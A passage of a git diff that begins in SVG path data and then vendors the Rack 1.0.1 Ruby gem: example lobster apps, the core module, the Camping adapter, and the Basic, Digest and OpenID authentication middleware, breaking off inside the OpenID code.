181.09138,83.342442 C 181.09138,83.125222 181.11768,82.914387 181.17029,82.709939 C 181.22289,82.499108 181.30508,82.307441 181.41687,82.134936 C 181.53523,81.95605 181.68975,81.815494 181.88045,81.713268 C 182.07772,81.611049 182.31114,81.559938 182.58075,81.559933 C 182.995,81.559938 183.29748,81.690911 183.48817,81.952852 C 183.67886,82.214802 183.77421,82.588553 183.77421,83.074107 L 183.77421,86.044955 L 184.3956,86.044955 L 184.3956,82.920774 C 184.3956,82.345775 184.25751,81.888967 183.98134,81.55035 C 183.70516,81.211743 183.27118,81.042436 182.67938,81.042431 C 182.43608,81.042436 182.21909,81.071186 182.0284,81.128681 C 181.84428,81.186186 181.68975,81.262854 181.56482,81.358683 C 181.44646,81.454521 181.34782,81.556744 181.26893,81.665351 C 181.19001,81.773967 181.11768,81.895356 181.05192,82.029519 L 181.0322,82.029519 L 181.0322,81.157431 L 180.43054,81.157431 C 180.45684,81.419382 180.46998,81.802717 180.46998,82.307437 L 180.46998,86.044955 M 185.42016,85.929955 C 185.81469,86.083288 186.28484,86.159955 186.83061,86.159955 C 187.03445,86.159955 187.2383,86.1344 187.44214,86.083288 C 187.64598,86.032177 187.83338,85.952315 188.00435,85.843704 C 188.18188,85.735092 188.32326,85.591342 188.42848,85.412452 C 188.53368,85.233563 188.58628,85.019535 188.58628,84.770365 C 188.58628,84.553144 188.54354,84.361476 188.45806,84.195362 C 188.37258,84.029253 188.2575,83.888696 188.11285,83.773694 C 187.97475,83.652307 187.82681,83.553278 187.66899,83.476609 C 187.51776,83.393556 187.32378,83.300917 187.08706,83.198691 C 186.7517,83.051749 186.50513,82.920776 186.34731,82.805773 C 186.18949,82.690776 186.11059,82.547025 186.11059,82.374521 C 186.11059,82.080635 186.20264,81.872995 186.38676,81.751601 C 186.57745,81.623827 186.84705,81.559938 187.19555,81.559933 C 187.36652,81.559938 187.55392,81.582299 187.75777,81.627018 C 187.96818,81.665355 188.1523,81.719661 188.31012,81.789935 L 188.36929,81.262849 C 188.16545,81.186186 187.94517,81.131881 187.70845,81.099931 C 187.47831,81.061603 187.28432,81.042436 187.12652,81.042431 C 186.90952,81.042436 186.70238,81.067992 186.50513,81.119098 C 186.31443,81.163826 186.14018,81.240493 185.98236,81.349099 C 185.83113,81.457716 185.70948,81.598272 185.61743,81.770768 C 185.53194,81.936884 185.48919,82.138135 185.4892,82.374521 C 185.48919,82.547025 185.52536,82.703554 185.59769,82.844106 C 185.67003,82.978277 185.76537,83.096472 185.88373,83.198691 C 186.00209,83.300917 186.12703,83.387167 186.25854,83.457442 C 186.39662,83.527723 186.57416,83.61078 186.79116,83.706611 C 187.16596,83.879113 187.44543,84.038836 187.62955,84.185779 C 187.81366,84.326337 187.90572,84.521199 187.90572,84.770365 C 187.90572,85.038701 187.79722,85.25273 187.58022,85.412452 C 187.36323,85.565786 187.10021,85.642454 186.79116,85.642453 C 186.33745,85.642454 185.90017,85.540231 185.47933,85.335785 L 185.42016,85.929955"
+       id="text2985" />
+    <path
+       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2.95839429;stroke-linecap:butt;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1"
+       d="M 12.925286,86.778391 L 13.286986,19.159668 L 58.155285,26.942569 L 57.772633,93.67717 L 12.925286,86.778391 z "
+       id="path2990" />
+    <path
+       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:3;stroke-linecap:butt;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;fill-opacity:1"
+       d="M 13.488233,19.049404 L 37.172883,11.162464 L 77.786022,19.420245 L 57.107048,26.22552 L 13.488233,19.049404 z "
+       id="path3877" />
+    <path
+       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:3;stroke-linecap:butt;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1"
+       d="M 57.997556,93.629361 L 77.486975,86.74764 L 77.759697,19.547174 L 58.5016,26.445081 L 57.997556,93.629361 z "
+       id="path3879"
+       sodipodi:nodetypes="ccccc" />
+    <path
+       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1"
+       d="M 14.330613,38.606641 L 36.912066,32.135194 L 76.635736,40.056811 L 58.346077,46.531185 L 14.330613,38.606641 z "
+       id="path3881"
+       sodipodi:nodetypes="ccccc" />
+    <path
+       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1"
+       d="M 14.150271,65.640082 L 36.731724,59.168636 L 77.314157,65.640929 L 57.787539,72.680481 L 14.150271,65.640082 z "
+       id="path3883"
+       sodipodi:nodetypes="ccccc" />
+    <path
+       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1"
+       d="M 13.820355,86.361841 L 35.130498,79.541609 L 76.834867,85.878963"
+       id="path3887" />
+    <path
+       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1"
+       d="M 34.866065,79.042658 L 35.146638,69.563169"
+       id="path3889" />
+    <path
+       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1"
+       d="M 36.154699,58.803397 L 36.535174,42.88001"
+       id="path3891" />
+    <path
+       style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1"
+       d="M 36.776858,31.759485 L 36.855284,23.494878"
+       id="path3893"
+       sodipodi:nodetypes="cc" />
+  </g>
+</svg>
diff --git a/vendor/gems/rack-1.0.1/example/lobster.ru b/vendor/gems/rack-1.0.1/example/lobster.ru
new file mode 100644
index 00000000..cc7ffcae
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/example/lobster.ru
@@ -0,0 +1,4 @@
+require 'rack/lobster'
+
+use Rack::ShowExceptions
+run Rack::Lobster.new
diff --git a/vendor/gems/rack-1.0.1/example/protectedlobster.rb b/vendor/gems/rack-1.0.1/example/protectedlobster.rb
new file mode 100644
index 00000000..108b9d05
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/example/protectedlobster.rb
@@ -0,0 +1,14 @@
+require 'rack'
+require 'rack/lobster'
+
+lobster = Rack::Lobster.new
+
+protected_lobster = Rack::Auth::Basic.new(lobster) do |username, password|
+  'secret' == password
+end
+
+protected_lobster.realm = 'Lobster 2.0'
+
+pretty_protected_lobster = Rack::ShowStatus.new(Rack::ShowExceptions.new(protected_lobster))
+
+Rack::Handler::WEBrick.run pretty_protected_lobster, :Port => 9292
diff --git a/vendor/gems/rack-1.0.1/example/protectedlobster.ru b/vendor/gems/rack-1.0.1/example/protectedlobster.ru
new file mode 100644
index 00000000..b0da62f0
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/example/protectedlobster.ru
@@ -0,0 +1,8 @@
+require 'rack/lobster'
+
+use Rack::ShowExceptions
+use Rack::Auth::Basic, "Lobster 2.0" do |username, password|
+  'secret' == password
+end
+
+run Rack::Lobster.new
diff --git a/vendor/gems/rack-1.0.1/lib/rack.rb b/vendor/gems/rack-1.0.1/lib/rack.rb
new file mode 100644
index 00000000..371d0156
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack.rb
@@ -0,0 +1,90 @@
+# Copyright (C) 2007, 2008, 2009 Christian Neukirchen <purl.org/net/chneukirchen>
+#
+# Rack is freely distributable under the terms of an MIT-style license.
+# See COPYING or http://www.opensource.org/licenses/mit-license.php.
+
+path = File.expand_path(File.dirname(__FILE__))
+$:.unshift(path) unless $:.include?(path)
+
+
+# The Rack main module, serving as a namespace for all core Rack
+# modules and classes.
+#
+# All modules meant for use in your application are <tt>autoload</tt>ed here,
+# so it should be enough just to <tt>require rack.rb</tt> in your code.
+
+module Rack
+  # The Rack protocol version number implemented.
+  VERSION = [1,0]
+
+  # Return the Rack protocol version as a dotted string.
+  def self.version
+    VERSION.join(".")
+  end
+
+  # Return the Rack release as a dotted string.
+  def self.release
+    "1.0"
+  end
+
+  autoload :Builder, "rack/builder"
+  autoload :Cascade, "rack/cascade"
+  autoload :Chunked, "rack/chunked"
+  autoload :CommonLogger, "rack/commonlogger"
+  autoload :ConditionalGet, "rack/conditionalget"
+  autoload :ContentLength, "rack/content_length"
+  autoload :ContentType, "rack/content_type"
+  autoload :File, "rack/file"
+  autoload :Deflater, "rack/deflater"
+  autoload :Directory, "rack/directory"
+  autoload :ForwardRequest, "rack/recursive"
+  autoload :Handler, "rack/handler"
+  autoload :Head, "rack/head"
+  autoload :Lint, "rack/lint"
+  autoload :Lock, "rack/lock"
+  autoload :MethodOverride, "rack/methodoverride"
+  autoload :Mime, "rack/mime"
+  autoload :Recursive, "rack/recursive"
+  autoload :Reloader, "rack/reloader"
+  autoload :ShowExceptions, "rack/showexceptions"
+  autoload :ShowStatus, "rack/showstatus"
+  autoload :Static, "rack/static"
+  autoload :URLMap, "rack/urlmap"
+  autoload :Utils, "rack/utils"
+
+  autoload :MockRequest, "rack/mock"
+  autoload :MockResponse, "rack/mock"
+
+  autoload :Request, "rack/request"
+  autoload :Response, "rack/response"
+
+  module Auth
+    autoload :Basic, "rack/auth/basic"
+    autoload :AbstractRequest, "rack/auth/abstract/request"
+    autoload :AbstractHandler, "rack/auth/abstract/handler"
+    autoload :OpenID, "rack/auth/openid"
+    module Digest
+      autoload :MD5, "rack/auth/digest/md5"
+      autoload :Nonce, "rack/auth/digest/nonce"
+      autoload :Params, "rack/auth/digest/params"
+      autoload :Request, "rack/auth/digest/request"
+    end
+  end
+
+  module Session
+    autoload :Cookie, "rack/session/cookie"
+    autoload :Pool, "rack/session/pool"
+    autoload :Memcache, "rack/session/memcache"
+  end
+
+  # *Adapters* connect Rack with third party web frameworks.
+  #
+  # Rack includes an adapter for Camping, see README for other
+  # frameworks supporting Rack in their code bases.
+  #
+  # Refer to the submodules for framework-specific calling details.
+
+  module Adapter
+    autoload :Camping, "rack/adapter/camping"
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/adapter/camping.rb b/vendor/gems/rack-1.0.1/lib/rack/adapter/camping.rb
new file mode 100644
index 00000000..63bc787f
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/adapter/camping.rb
@@ -0,0 +1,22 @@
+module Rack
+  module Adapter
+    class Camping
+      def initialize(app)
+        @app = app
+      end
+
+      def call(env)
+        env["PATH_INFO"] ||= ""
+        env["SCRIPT_NAME"] ||= ""
+        controller = @app.run(env['rack.input'], env)
+        h = controller.headers
+        h.each_pair do |k,v|
+          if v.kind_of? URI
+            h[k] = v.to_s
+          end
+        end
+        [controller.status, controller.headers, [controller.body.to_s]]
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/auth/abstract/handler.rb b/vendor/gems/rack-1.0.1/lib/rack/auth/abstract/handler.rb
new file mode 100644
index 00000000..214df629
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/auth/abstract/handler.rb
@@ -0,0 +1,37 @@
+module Rack
+  module Auth
+    # Rack::Auth::AbstractHandler implements common authentication functionality.
+    #
+    # +realm+ should be set for all handlers.
+
+    class AbstractHandler
+
+      attr_accessor :realm
+
+      def initialize(app, realm=nil, &authenticator)
+        @app, @realm, @authenticator = app, realm, authenticator
+      end
+
+
+      private
+
+      def unauthorized(www_authenticate = challenge)
+        return [ 401,
+          { 'Content-Type' => 'text/plain',
+            'Content-Length' => '0',
+            'WWW-Authenticate' => www_authenticate.to_s },
+          []
+        ]
+      end
+
+      def bad_request
+        return [ 400,
+          { 'Content-Type' => 'text/plain',
+            'Content-Length' => '0' },
+          []
+        ]
+      end
+
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/auth/abstract/request.rb b/vendor/gems/rack-1.0.1/lib/rack/auth/abstract/request.rb
new file mode 100644
index 00000000..1d9ccec6
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/auth/abstract/request.rb
@@ -0,0 +1,37 @@
+module Rack
+  module Auth
+    class AbstractRequest
+
+      def initialize(env)
+        @env = env
+      end
+
+      def provided?
+        !authorization_key.nil?
+      end
+
+      def parts
+        @parts ||= @env[authorization_key].split(' ', 2)
+      end
+
+      def scheme
+        @scheme ||= parts.first.downcase.to_sym
+      end
+
+      def params
+        @params ||= parts.last
+      end
+
+
+      private
+
+      AUTHORIZATION_KEYS = ['HTTP_AUTHORIZATION', 'X-HTTP_AUTHORIZATION', 'X_HTTP_AUTHORIZATION']
+
+      def authorization_key
+        @authorization_key ||= AUTHORIZATION_KEYS.detect { |key| @env.has_key?(key) }
+      end
+
+    end
+
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/auth/basic.rb b/vendor/gems/rack-1.0.1/lib/rack/auth/basic.rb
new file mode 100644
index 00000000..95572246
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/auth/basic.rb
@@ -0,0 +1,58 @@
+require 'rack/auth/abstract/handler'
+require 'rack/auth/abstract/request'
+
+module Rack
+  module Auth
+    # Rack::Auth::Basic implements HTTP Basic Authentication, as per RFC 2617.
+    #
+    # Initialize with the Rack application that you want protecting,
+    # and a block that checks if a username and password pair are valid.
+    #
+    # See also: <tt>example/protectedlobster.rb</tt>
+
+    class Basic < AbstractHandler
+
+      def call(env)
+        auth = Basic::Request.new(env)
+
+        return unauthorized unless auth.provided?
+
+        return bad_request unless auth.basic?
+
+        if valid?(auth)
+          env['REMOTE_USER'] = auth.username
+
+          return @app.call(env)
+        end
+
+        unauthorized
+      end
+
+
+      private
+
+      def challenge
+        'Basic realm="%s"' % realm
+      end
+
+      def valid?(auth)
+        @authenticator.call(*auth.credentials)
+      end
+
+      class Request < Auth::AbstractRequest
+        def basic?
+          :basic == scheme
+        end
+
+        def credentials
+          @credentials ||= params.unpack("m*").first.split(/:/, 2)
+        end
+
+        def username
+          credentials.first
+        end
+      end
+
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/auth/digest/md5.rb b/vendor/gems/rack-1.0.1/lib/rack/auth/digest/md5.rb
new file mode 100644
index 00000000..e579dc96
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/auth/digest/md5.rb
@@ -0,0 +1,124 @@
+require 'rack/auth/abstract/handler'
+require 'rack/auth/digest/request'
+require 'rack/auth/digest/params'
+require 'rack/auth/digest/nonce'
+require 'digest/md5'
+
+module Rack
+  module Auth
+    module Digest
+      # Rack::Auth::Digest::MD5 implements the MD5 algorithm version of
+      # HTTP Digest Authentication, as per RFC 2617.
+      #
+      # Initialize with the [Rack] application that you want protecting,
+      # and a block that looks up a plaintext password for a given username.
+      #
+      # +opaque+ needs to be set to a constant base64/hexadecimal string.
+      #
+      class MD5 < AbstractHandler
+
+        attr_accessor :opaque
+
+        attr_writer :passwords_hashed
+
+        def initialize(*args)
+          super
+          @passwords_hashed = nil
+        end
+
+        def passwords_hashed?
+          !!@passwords_hashed
+        end
+
+        def call(env)
+          auth = Request.new(env)
+
+          unless auth.provided?
+            return unauthorized
+          end
+
+          if !auth.digest? || !auth.correct_uri? || !valid_qop?(auth)
+            return bad_request
+          end
+
+          if valid?(auth)
+            if auth.nonce.stale?
+              return unauthorized(challenge(:stale => true))
+            else
+              env['REMOTE_USER'] = auth.username
+
+              return @app.call(env)
+            end
+          end
+
+          unauthorized
+        end
+
+
+        private
+
+        QOP = 'auth'.freeze
+
+        def params(hash = {})
+          Params.new do |params|
+            params['realm'] = realm
+            params['nonce'] = Nonce.new.to_s
+            params['opaque'] = H(opaque)
+            params['qop'] = QOP
+
+            hash.each { |k, v| params[k] = v }
+          end
+        end
+
+        def challenge(hash = {})
+          "Digest #{params(hash)}"
+        end
+
+        def valid?(auth)
+          valid_opaque?(auth) && valid_nonce?(auth) && valid_digest?(auth)
+        end
+
+        def valid_qop?(auth)
+          QOP == auth.qop
+        end
+
+        def valid_opaque?(auth)
+          H(opaque) == auth.opaque
+        end
+
+        def valid_nonce?(auth)
+          auth.nonce.valid?
+        end
+
+        def valid_digest?(auth)
+          digest(auth, @authenticator.call(auth.username)) == auth.response
+        end
+
+        def md5(data)
+          ::Digest::MD5.hexdigest(data)
+        end
+
+        alias :H :md5
+
+        def KD(secret, data)
+          H([secret, data] * ':')
+        end
+
+        def A1(auth, password)
+          [ auth.username, auth.realm, password ] * ':'
+        end
+
+        def A2(auth)
+          [ auth.method, auth.uri ] * ':'
+        end
+
+        def digest(auth, password)
+          password_hash = passwords_hashed? ? password : H(A1(auth, password))
+
+          KD(password_hash, [ auth.nonce, auth.nc, auth.cnonce, QOP, H(A2(auth)) ] * ':')
+        end
+
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/auth/digest/nonce.rb b/vendor/gems/rack-1.0.1/lib/rack/auth/digest/nonce.rb
new file mode 100644
index 00000000..dbe109f2
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/auth/digest/nonce.rb
@@ -0,0 +1,51 @@
+require 'digest/md5'
+
+module Rack
+  module Auth
+    module Digest
+      # Rack::Auth::Digest::Nonce is the default nonce generator for the
+      # Rack::Auth::Digest::MD5 authentication handler.
+      #
+      # +private_key+ needs to set to a constant string.
+      #
+      # +time_limit+ can be optionally set to an integer (number of seconds),
+      # to limit the validity of the generated nonces.
+
+      class Nonce
+
+        class << self
+          attr_accessor :private_key, :time_limit
+        end
+
+        def self.parse(string)
+          new(*string.unpack("m*").first.split(' ', 2))
+        end
+
+        def initialize(timestamp = Time.now, given_digest = nil)
+          @timestamp, @given_digest = timestamp.to_i, given_digest
+        end
+
+        def to_s
+          [([ @timestamp, digest ] * ' ')].pack("m*").strip
+        end
+
+        def digest
+          ::Digest::MD5.hexdigest([ @timestamp, self.class.private_key ] * ':')
+        end
+
+        def valid?
+          digest == @given_digest
+        end
+
+        def stale?
+          !self.class.time_limit.nil? && (@timestamp - Time.now.to_i) < self.class.time_limit
+        end
+
+        def fresh?
+          !stale?
+        end
+
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/auth/digest/params.rb b/vendor/gems/rack-1.0.1/lib/rack/auth/digest/params.rb
new file mode 100644
index 00000000..730e2efd
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/auth/digest/params.rb
@@ -0,0 +1,55 @@
+module Rack
+  module Auth
+    module Digest
+      class Params < Hash
+
+        def self.parse(str)
+          split_header_value(str).inject(new) do |header, param|
+            k, v = param.split('=', 2)
+            header[k] = dequote(v)
+            header
+          end
+        end
+
+        def self.dequote(str) # From WEBrick::HTTPUtils
+          ret = (/\A"(.*)"\Z/ =~ str) ? $1 : str.dup
+          ret.gsub!(/\\(.)/, "\\1")
+          ret
+        end
+
+        def self.split_header_value(str)
+          str.scan( /(\w+\=(?:"[^\"]+"|[^,]+))/n ).collect{ |v| v[0] }
+        end
+
+        def initialize
+          super
+
+          yield self if block_given?
+        end
+
+        def [](k)
+          super k.to_s
+        end
+
+        def []=(k, v)
+          super k.to_s, v.to_s
+        end
+
+        UNQUOTED = ['qop', 'nc', 'stale']
+
+        def to_s
+          inject([]) do |parts, (k, v)|
+            parts << "#{k}=" + (UNQUOTED.include?(k) ? v.to_s : quote(v))
+            parts
+          end.join(', ')
+        end
+
+        def quote(str) # From WEBrick::HTTPUtils
+          '"' << str.gsub(/[\\\"]/o, "\\\1") << '"'
+        end
+
+      end
+    end
+  end
+end
+
diff --git a/vendor/gems/rack-1.0.1/lib/rack/auth/digest/request.rb b/vendor/gems/rack-1.0.1/lib/rack/auth/digest/request.rb
new file mode 100644
index 00000000..a8aa3bf9
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/auth/digest/request.rb
@@ -0,0 +1,40 @@
+require 'rack/auth/abstract/request'
+require 'rack/auth/digest/params'
+require 'rack/auth/digest/nonce'
+
+module Rack
+  module Auth
+    module Digest
+      class Request < Auth::AbstractRequest
+
+        def method
+          @env['rack.methodoverride.original_method'] || @env['REQUEST_METHOD']
+        end
+
+        def digest?
+          :digest == scheme
+        end
+
+        def correct_uri?
+          (@env['SCRIPT_NAME'].to_s + @env['PATH_INFO'].to_s) == uri
+        end
+
+        def nonce
+          @nonce ||= Nonce.parse(params['nonce'])
+        end
+
+        def params
+          @params ||= Params.parse(parts.last)
+        end
+
+        def method_missing(sym)
+          if params.has_key? key = sym.to_s
+            return params[key]
+          end
+          super
+        end
+
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/lib/rack/auth/openid.rb b/vendor/gems/rack-1.0.1/lib/rack/auth/openid.rb
new file mode 100644
index 00000000..c5f6a514
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/auth/openid.rb
@@ -0,0 +1,480 @@
+# AUTHOR: blink <blinketje@gmail.com>; blink#ruby-lang@irc.freenode.net
+
+gem 'ruby-openid', '~> 2' if defined? Gem
+require 'rack/request'
+require 'rack/utils'
+require 'rack/auth/abstract/handler'
+require 'uri'
+require 'openid' #gem
+require 'openid/extension' #gem
+require 'openid/store/memory' #gem
+
+module Rack
+  class Request
+    def openid_request
+      @env['rack.auth.openid.request']
+    end
+
+    def openid_response
+      @env['rack.auth.openid.response']
+    end
+  end
+
+  module Auth
+
+    # Rack::Auth::OpenID provides a simple method for setting up an OpenID
+    # Consumer. It requires the ruby-openid library from janrain to operate,
+    # as well as a rack method of session management.
+    #
+    # The ruby-openid home page is at http://openidenabled.com/ruby-openid/.
+    #
+    # The OpenID specifications can be found at
+    # http://openid.net/specs/openid-authentication-1_1.html
+    # and
+    # http://openid.net/specs/openid-authentication-2_0.html. Documentation
+    # for published OpenID extensions and related topics can be found at
+    # http://openid.net/developers/specs/.
+    #
+    # It is recommended to read through the OpenID spec, as well as
+    # ruby-openid's documentation, to understand what exactly goes on. However
+    # a setup as simple as the presented examples is enough to provide
+    # Consumer functionality.
+    #
+    # This library strongly intends to utilize the OpenID 2.0 features of the
+    # ruby-openid library, which provides OpenID 1.0 compatiblity.
+    #
+    # NOTE: Due to the amount of data that this library stores in the
+    # session, Rack::Session::Cookie may fault.
+
+    class OpenID
+
+      class NoSession < RuntimeError; end
+      class BadExtension < RuntimeError; end
+      # Required for ruby-openid
+      ValidStatus = [:success, :setup_needed, :cancel, :failure]
+
+      # = Arguments
+      #
+      # The first argument is the realm, identifying the site they are trusting
+      # with their identity. This is required, also treated as the trust_root
+      # in OpenID 1.x exchanges.
+      #
+      # The optional second argument is a hash of options.
+      #
+      # == Options
+      #
+      # <tt>:return_to</tt> defines the url to return to after the client
+      # authenticates with the openid service provider. This url should point
+      # to where Rack::Auth::OpenID is mounted. If <tt>:return_to</tt> is not
+      # provided, return_to will be the current url which allows flexibility
+      # with caveats.
+      #
+      # <tt>:session_key</tt> defines the key to the session hash in the env.
+      # It defaults to 'rack.session'.
+      #
+      # <tt>:openid_param</tt> defines at what key in the request parameters to
+      # find the identifier to resolve. As per the 2.0 spec, the default is
+      # 'openid_identifier'.
+      #
+      # <tt>:store</tt> defined what OpenID Store to use for persistant
+      # information. By default a Store::Memory will be used.
+      #
+      # <tt>:immediate</tt> as true will make initial requests to be of an
+      # immediate type. This is false by default. See OpenID specification
+      # documentation.
+      #
+      # <tt>:extensions</tt> should be a hash of openid extension
+      # implementations. The key should be the extension main module, the value
+      # should be an array of arguments for extension::Request.new.
+      # The hash is iterated over and passed to #add_extension for processing.
+      # Please see #add_extension for further documentation.
+      #
+      # == Examples
+      #
+      #   simple_oid = OpenID.new('http://mysite.com/')
+      #
+      #   return_oid = OpenID.new('http://mysite.com/', {
+      #     :return_to => 'http://mysite.com/openid'
+      #   })
+      #
+      #   complex_oid = OpenID.new('http://mysite.com/',
+      #     :immediate => true,
+      #     :extensions => {
+      #       ::OpenID::SReg => [['email'],['nickname']]
+      #     }
+      #   )
+      #
+      # = Advanced
+      #
+      # Most of the functionality of this library is encapsulated such that
+      # expansion and overriding functions isn't difficult nor tricky.
+      # Alternately, to avoid opening up singleton objects or subclassing, a
+      # wrapper rack middleware can be composed to act upon Auth::OpenID's
+      # responses. See #check and #finish for locations of pertinent data.
+      #
+      # == Responses
+      #
+      # To change the responses that Auth::OpenID returns, override the methods
+      # #redirect, #bad_request, #unauthorized, #access_denied, and
+      # #foreign_server_failure.
+      #
+      # Additionally #confirm_post_params is used when the URI would exceed
+      # length limits on a GET request when doing the initial verification
+      # request.
+      #
+      # == Processing
+      #
+      # To change methods of processing completed transactions, override the
+      # methods #success, #setup_needed, #cancel, and #failure. Please ensure
+      # the returned object is a rack compatible response.
+      #
+      # The first argument is an OpenID::Response, the second is a
+      # Rack::Request of the current request, the last is the hash used in
+      # ruby-openid handling, which can be found manually at
+      # env['rack.session'][:openid].
+      #
+      # This is useful if you wanted to expand the processing done, such as
+      # setting up user accounts.
+      #
+      #   oid_app = Rack::Auth::OpenID.new realm, :return_to => return_to
+      #   def oid_app.success oid, request, session
+      #     user = Models::User[oid.identity_url]
+      #     user ||= Models::User.create_from_openid oid
+      #     request['rack.session'][:user] = user.id
+      #     redirect MyApp.site_home
+      #   end
+      #
+      #   site_map['/openid'] = oid_app
+      #   map = Rack::URLMap.new site_map
+      #   ...
+
+      def initialize(realm, options={})
+        realm = URI(realm)
+        raise ArgumentError, "Invalid realm: #{realm}" \
+          unless realm.absolute? \
+          and realm.fragment.nil? \
+          and realm.scheme =~ /^https?$/ \
+          and realm.host =~ /^(\*\.)?#{URI::REGEXP::PATTERN::URIC_NO_SLASH}+/
+        realm.path = '/' if realm.path.empty?
+        @realm = realm.to_s
+
+        if ruri = options[:return_to]
+          ruri = URI(ruri)
+          raise ArgumentError, "Invalid return_to: #{ruri}" \
+            unless ruri.absolute? \
+            and ruri.scheme  =~ /^https?$/ \
+            and ruri.fragment.nil?
+          raise ArgumentError, "return_to #{ruri} not within realm #{realm}" \
+            unless self.within_realm?(ruri)
+          @return_to = ruri.to_s
+        end
+
+        @session_key  = options[:session_key]   || 'rack.session'
+        @openid_param = options[:openid_param]  || 'openid_identifier'
+        @store        = options[:store]         || ::OpenID::Store::Memory.new
+        @immediate    = !!options[:immediate]
+
+        @extensions = {}
+        if extensions = options.delete(:extensions)
+          extensions.each do |ext, args|
+            add_extension ext, *args
+          end
+        end
+
+        # Undocumented, semi-experimental
+        @anonymous    = !!options[:anonymous]
+      end
+
+      attr_reader :realm, :return_to, :session_key, :openid_param, :store,
+        :immediate, :extensions
+
+      # Sets up and uses session data at <tt>:openid</tt> within the session.
+      # Errors in this setup will raise a NoSession exception.
+      #
+      # If the parameter 'openid.mode' is set, which implies a followup from
+      # the openid server, processing is passed to #finish and the result is
+      # returned. However, if there is no appropriate openid information in the
+      # session, a 400 error is returned.
+      #
+      # If the parameter specified by <tt>options[:openid_param]</tt> is
+      # present, processing is passed to #check and the result is returned.
+      #
+      # If neither of these conditions are met, #unauthorized is called.
+
+      def call(env)
+        env['rack.auth.openid'] = self
+        env_session = env[@session_key]
+        unless env_session and env_session.is_a?(Hash)
+          raise NoSession, 'No compatible session'
+        end
+        # let us work in our own namespace...
+        session = (env_session[:openid] ||= {})
+        unless session and session.is_a?(Hash)
+          raise NoSession, 'Incompatible openid session'
+        end
+
+        request = Rack::Request.new(env)
+        consumer = ::OpenID::Consumer.new(session, @store)
+
+        if mode = request.GET['openid.mode']
+          if session.key?(:openid_param)
+            finish(consumer, session, request)
+          else
+            bad_request
+          end
+        elsif request.GET[@openid_param]
+          check(consumer, session, request)
+        else
+          unauthorized
+        end
+      end
+
+      # As the first part of OpenID consumer action, #check retrieves the data
+      # required for completion.
+      #
+      # If all parameters fit within the max length of a URI, a 303 redirect
+      # will be returned. Otherwise #confirm_post_params will be called.
+      #
+      # Any messages from OpenID's request are logged to env['rack.errors']
+      #
+      # <tt>env['rack.auth.openid.request']</tt> is the openid checkid request
+      # instance.
+      #
+      # <tt>session[:openid_param]</tt> is set to the openid identifier
+      # provided by the user.
+      #
+      # <tt>session[:return_to]</tt> is set to the return_to uri given to the
+      # identity provider.
+
+      def check(consumer, session, req)
+        oid = consumer.begin(req.GET[@openid_param], @anonymous)
+        req.env['rack.auth.openid.request'] = oid
+        req.env['rack.errors'].puts(oid.message)
+        p oid if $DEBUG
+
+        ## Extension support
+        extensions.each do |ext,args|
+          oid.add_extension(ext::Request.new(*args))
+        end
+
+        session[:openid_param] = req.GET[openid_param]
+        return_to_uri = return_to ? return_to : req.url
+        session[:return_to] = return_to_uri
+        immediate = session.key?(:setup_needed) ? false : immediate
+
+        if oid.send_redirect?(realm, return_to_uri, immediate)
+          uri = oid.redirect_url(realm, return_to_uri, immediate)
+          redirect(uri)
+        else
+          confirm_post_params(oid, realm, return_to_uri, immediate)
+        end
+      rescue ::OpenID::DiscoveryFailure => e
+        # thrown from inside OpenID::Consumer#begin by yadis stuff
+        req.env['rack.errors'].puts([e.message, *e.backtrace]*"\n")
+        return foreign_server_failure
+      end
+
+      # This is the final portion of authentication.
+      # If successful, a redirect to the realm is be returned.
+      # Data gathered from extensions are stored in session[:openid] with the
+      # extension's namespace uri as the key.
+      #
+      # Any messages from OpenID's response are logged to env['rack.errors']
+      #
+      # <tt>env['rack.auth.openid.response']</tt> will contain the openid
+      # response.
+
+      def finish(consumer, session, req)
+        oid = consumer.complete(req.GET, req.url)
